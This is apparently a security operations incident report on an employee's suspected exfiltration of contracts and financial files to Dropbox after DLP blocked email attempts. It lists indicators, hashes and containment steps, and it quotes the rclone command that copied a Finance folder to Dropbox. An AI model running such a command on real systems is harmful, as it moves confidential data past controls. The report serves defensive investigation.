Incident Report 2025-11-11

Title:
Suspected Data Exfiltration to Dropbox via rclone (DataHaven Solutions)

Date:
2025-10-29

Alert Type/Category:
Data Exfiltration/Theft

Severity:
Medium

Analyst Name:

Case #:
ALRT-2025-10-20-DATAEXFIL-001

DETECTION AND ANALYSIS

Alert Summary:

Exchange Online DLP and Microsoft Defender for Cloud Apps detected suspected data exfiltration from host WIN10-DH-113 by user lars.haugen@datahaven.no. This activity aligns with a data-theft tactic where sensitive data, initially blocked by email DLP, is then routed to an unsanctioned cloud storage service to bypass controls. The user repeatedly attempted to email “Client_Contracts_Archive.zip” and “Q3_Financials.xlsx” to an external Gmail address, triggering DLP inspection and block events, then attempted a password-protected archive that was flagged by transport rules; shortly after, the rclone utility executed and Dropbox was accessed as an unsanctioned app with a successful web OAuth login and multiple large uploads observed (approx. 1.7 GB total) to dropbox.com (TLS SNI=content.dropboxapi.com), with netflow confirming egress to Dropbox ASN (AS19679) from source IP 84.213.57.42 (Get ISP).

```
rclone copy C:\Users\Lars\Documents\Finance\ dropbox:/Finance_Backup --transfers 4
```

This command copies the local Finance directory to a Dropbox remote with four concurrent transfers. We recommend that you investigate this activity further, as the activity appears to involve unauthorized transfer of sensitive data.

References:

1 - https://github.com/rclone/rclone

Key Details:

User: lars.haugen@datahaven.no
Host: WIN10-DH-113
Source IP: 84.213.57.42
Location: NO, Oslo
Unsanctioned App: Dropbox
Domains:
- dropbox.com
- content.dropboxapi.com

External Recipient Email: lars.personal@gmail.com
Process: rclone.exe
Command Executed: rclone copy C:\Users\Lars\Documents\Finance\ dropbox:/Finance_Backup –transfers 4
Process Create Time: 2025-10-29 07:48:33+0000
App Authentication: Dropbox Web via OAuth; SSO Disabled; User-Agent=Chrome/119 (2025-10-29 07:59:00+0000)
DLP Outcome: Outbound email with sensitive attachments blocked by policy and transport rule
Attempted Attachments:
- Client_Contracts_Archive.zip (623,902,720 bytes)
- Q3_Financials.xlsx (146,800,640 bytes)
- Client_Contracts_Archive_pwd.zip (623,902,720 bytes; password-protected)

File Hashes (SHA-256):
- Client_Contracts_Archive.zip: 83ea2aba1fa09cfe555433ce394f960e65b62de5dac94b7ab2ec9ac141ff77a2
- Q3_Financials.xlsx: 43881fcf50a146c8dd79285cd7c3fb995c25382f7d0ba0f1d05c2eb802d36f19
- Client_Contracts_Archive_pwd.zip: 603fe8f0eb06970f7fb736e1da00341737478c4a46bc8eb215222d575ad41aa2

Upload Volumes (to Dropbox):
- 151,772,593 bytes at 2025-10-29 08:03:00+0000
- 1,181,116,003 bytes at 2025-10-29 08:10:17+0000
- 60,709,037 bytes at 2025-10-29 08:12:44+0000
- 105,698,770 bytes at 2025-10-29 08:16:08+0000
- 217,902,080 bytes at 2025-10-29 08:19:24+0000

Estimated Total Upload: ~1.7 GB
Destination ASN: AS19679 (Dropbox)
Event Window: 2025-10-29 06:20:00+0000 to 2025-10-29 08:35:08+0000

Consequence:

The activity indicates likely exposure of confidential financial data and PII to an unsanctioned third-party cloud service (Dropbox). If successful, this constitutes potential data loss, regulatory risk, and confidentiality breach; it may reflect intentional insider exfiltration or an account/host compromise, with continued risk of further exfiltration if the user, credentials, or tooling remain active.

CONTAINMENT

Executed Remediation Actions:

The following containment and eradication actions has been performed by our SOC:
- Isolated host WIN10-DH-113 from the network to stop further data egress.
- Temporarily disabled and locked the account lars.haugen@datahaven.no; reset the password and enforce/confirm MFA.

Recommended Remediation Actions:

Our SOC recommends that you do the following containment actions:
- Terminate and block rclone.exe on the endpoint; remove any associated tasks, scripts, and rclone configuration files (e.g., rclone.conf) under the user profile.
- Block Dropbox (domains and IP ranges/AS19679) at your firewall/proxy/DNS and through your CASB; explicitly block rclone via application control.
- Revoke Dropbox OAuth tokens/sessions associated with the user; sign out active sessions and request takedown/deletion of uploaded data from Dropbox.
- Run a full EDR/AV scan of WIN10-DH-113 and review autoruns, scheduled tasks, and recent downloads; reimage if integrity cannot be assured.
- Preserve and export relevant logs (email, endpoint, proxy/CASB, netflow) to support investigation and impact assessment.